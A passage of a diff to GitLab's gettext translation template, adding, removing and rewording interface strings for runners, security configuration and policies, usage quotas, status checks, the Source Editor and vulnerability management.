msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28792,6 +29253,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28810,6 +29274,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -28888,7 +29355,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -28903,6 +29370,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -28924,6 +29397,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -28963,6 +29439,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29028,6 +29507,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29342,6 +29824,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29396,6 +29881,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29408,6 +29896,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29429,6 +29920,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29441,12 +29935,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29480,6 +29980,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29489,6 +29992,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29519,12 +30025,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29582,19 +30094,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29675,21 +30193,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30055,6 +30558,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30079,6 +30585,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30127,7 +30636,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30142,7 +30651,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30154,7 +30663,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30214,6 +30723,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30223,6 +30735,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30247,6 +30762,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30316,7 +30837,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30325,6 +30849,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30346,6 +30873,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30565,7 +31098,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30598,6 +31131,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30736,6 +31272,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -30940,9 +31479,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31042,7 +31578,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31054,6 +31599,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31099,6 +31647,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31180,6 +31731,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31237,9 +31791,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31313,9 +31864,6 @@ msgid "Setting saved successfully"
msgid_plural "Settings saved successfully"
msgstr[0] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31382,6 +31930,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31397,6 +31966,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31445,18 +32017,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -31819,6 +32382,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -31903,9 +32472,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32182,9 +32748,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32203,6 +32766,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32356,9 +32946,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32503,6 +33090,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32524,7 +33114,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32533,6 +33123,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32554,6 +33147,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32569,6 +33168,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33552,10 +34154,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -33807,7 +34409,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -33843,7 +34445,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34048,9 +34653,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34183,9 +34785,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34240,6 +34839,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34336,9 +34938,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34351,9 +34950,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34729,6 +35325,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34747,12 +35346,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -34801,6 +35394,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -34855,12 +35454,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -34870,6 +35472,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35005,9 +35610,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35050,6 +35652,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35149,7 +35754,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35691,6 +36296,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35715,6 +36323,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -35820,10 +36431,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -35844,9 +36455,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -35907,6 +36515,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36076,7 +36687,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36133,6 +36744,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36331,9 +36948,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36439,6 +37053,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36523,9 +37140,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36634,6 +37248,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36676,6 +37293,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36685,9 +37305,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36700,9 +37317,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36757,12 +37371,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36772,9 +37380,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36787,9 +37401,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -36823,18 +37434,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -36880,9 +37479,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37075,9 +37671,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37381,9 +37974,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37609,6 +38199,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37633,6 +38235,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37728,6 +38333,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -37837,6 +38445,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -37849,9 +38460,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -37867,6 +38475,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -37876,7 +38487,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -37888,6 +38502,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -37912,9 +38529,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
